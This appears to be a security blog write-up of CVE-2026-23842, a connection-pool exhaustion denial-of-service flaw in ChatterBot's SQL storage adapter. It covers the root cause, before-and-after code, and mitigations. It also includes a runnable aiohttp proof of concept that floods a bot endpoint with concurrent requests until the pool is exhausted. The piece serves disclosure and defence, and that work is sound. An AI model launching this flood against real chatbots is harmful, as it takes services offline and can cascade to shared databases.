Silent Treatment: Crashing ChatterBot via Connection Pool Exhaustion

We tend to obsess over Remote Code Execution (RCE) because popping a shell is the ultimate dopamine hit. But for a business, a Denial of Service (DoS) can be just as damaging. Imagine a customer support bot that just... stops. No error message, no crash, just an infinite loading spinner. That is the reality of CVE-2026-23842.

ChatterBot is a machine learning conversational dialog engine. To be 'smart', it needs memory. It stores statements, responses, and training data in a database. Whether it's SQLite for a hobby project or PostgreSQL for production, the SQLStorageAdapter is the heart of this persistence.

The vulnerability lies in how this heart beats—or rather, how it forgets to exhale. The library was creating database sessions to read and write conversation data but failing to close them reliably. It’s the digital equivalent of opening a new tab for every Google search and never closing the old ones. Eventually, your browser crashes. In this case, the database connection pool hits its limit, and the application enters a coma.

Under the hood, ChatterBot uses SQLAlchemy, the titan of Python ORMs. SQLAlchemy uses a connection pool (usually QueuePool) to manage DB connections efficiently. You borrow a connection, do your work, and give it back. If you don't give it back, the pool eventually runs dry.

In versions prior to 1.2.11, the SQLStorageAdapter had three fatal flaws:

1. Thread Safety (or lack thereof): It used a raw sessionmaker object. In a multi-threaded web server environment (like Flask or Django serving the bot), this meant sessions weren't thread-local. Threads could step on each other's toes.

2. The Generator Trap: The filter() method returned a generator yielding results. If the calling code stopped iterating halfway through (e.g., found a match and broke the loop), the cleanup code at the end of the function would never run. The session stays open, holding a connection hostage.

3. Missing Cleanup: There was a distinct lack of try...finally blocks. If an exception occurred during a query, the session.close() call was skipped.

The default QueuePool size in SQLAlchemy is often small (5 to 10 connections). It doesn't take a DDoS botnet to exhaust that. A single impatient user refreshing their browser could do it.

Let's look at the diff. The fix in commit de89fe648139f8eeacc998ad4524fab291a378cf is a textbook example of how to retrofit resource safety.

The Vulnerable Code (Simplified):

# chatterbot/storage/sql_storage.py
 
class SQLStorageAdapter(StorageAdapter):
    def __init__(self, **kwargs):
        # ... setup ...
        self.Session = sessionmaker(bind=self.engine)
 
    def filter(self, **kwargs):
        session = self.Session()
        # Dangerous: If this query fails or the loop breaks early,
        # session.close() is never called.
        q = session.query(self.Statement)
        for statement in q.filter_by(**kwargs):
            yield statement
        session.close()

The Fixed Code:

There are two major changes here. First, switching to scoped_session for thread safety, and second, enforcing cleanup via try...finally.

# The Fix
from sqlalchemy.orm import scoped_session
 
class SQLStorageAdapter(StorageAdapter):
    def __init__(self, **kwargs):
        # ... setup ...
        # 1. Use scoped_session for thread-local registry
        self.Session = scoped_session(sessionmaker(bind=self.engine))
 
    def filter(self, **kwargs):
        session = self.Session()
        try:
            q = session.query(self.Statement)
            # 2. Iterate and yield
            for statement in q.filter_by(**kwargs):
                yield statement
        finally:
            # 3. Guaranteed cleanup, even if the generator is stopped early
            session.close()

This forces the session to close even if the consumer of the generator stops iterating. It’s a subtle Python gotcha that bites many developers.

Exploiting this is trivially easy and requires no authentication if the bot is public. The goal is to maximize the number of "hanging" sessions.

The Strategy:

We don't need to crash the server; we just need to occupy all the seats at the table. We will send asynchronous requests to the bot's endpoint. If we can trigger an error state or a long-running query that doesn't clean up, we win.

Here is a conceptual Python PoC using aiohttp:

import aiohttp
import asyncio
 
TARGET = "http://localhost:5000/api/chatterbot/" 
# Default pool is usually 5 connections + 10 overflow = 15 total.
# We send 30 to be sure.
CONCURRENT_REQUESTS = 30
 
async def attack(session, i):
    try:
        # Sending a message that triggers a DB lookup
        async with session.post(TARGET, json={"text": "Hello?"}) as resp:
            print(f"Request {i}: {resp.status}")
    except Exception as e:
        # Once the pool is full, we expect timeouts here
        print(f"Request {i} failed: {e}")
 
async def main():
    async with aiohttp.ClientSession() as session:
        tasks = [attack(session, i) for i in range(CONCURRENT_REQUESTS)]
        await asyncio.gather(*tasks)
 
if __name__ == "__main__":
    asyncio.run(main())

The Result:

The first ~15 requests might succeed. The 16th will hang. The application logs will scream: sqlalchemy.exc.TimeoutError: QueuePool limit of size 5 overflow 10 reached, connection timed out, timeout 30.

At this point, the application is dead to the world until the process is restarted or the timeout kills the zombies (which takes too long for an interactive chat).

You might think, "So the bot stops talking. Who cares?"

1. Service Availability: For companies automating Tier 1 support, this forces human fallback, costing money and increasing wait times.
2. Cascading Failure: If the bot shares a database cluster with other services (e.g., the main e-commerce site), exhausting the connection limit on the database server side (e.g., PostgreSQL max_connections) could bring down the entire platform, not just the bot.
3. Resource Zombie: The Python process memory usage will creep up as these session objects hang around in memory, potentially leading to OOM (Out of Memory) kills by the OS.

This is a low-effort, high-impact attack against availability.

The only real fix is code modification. You cannot firewall this effectively because the traffic looks legitimate.

Immediate Fix: Upgrade to ChatterBot v1.2.11. The maintainers not only fixed the session logic but also implemented better pool defaults (pool_pre_ping=True, pool_recycle=3600) to handle stale connections gracefully.

If You Can't Patch: If you are stuck on legacy versions, you are in a tight spot. You could try:

1. Aggressive Worker Recycling: Configure your WSGI server (Gunicorn/uWSGI) to restart workers after every $N$ requests (--max-requests 100). This clears the memory and connection pool frequently.
2. Increase Pool Size: This doesn't fix the leak, it just buys you time. It is not a recommended solution.

Developers should always use context managers (with session_scope():) when dealing with database transactions to ensure cleanup happens automatically.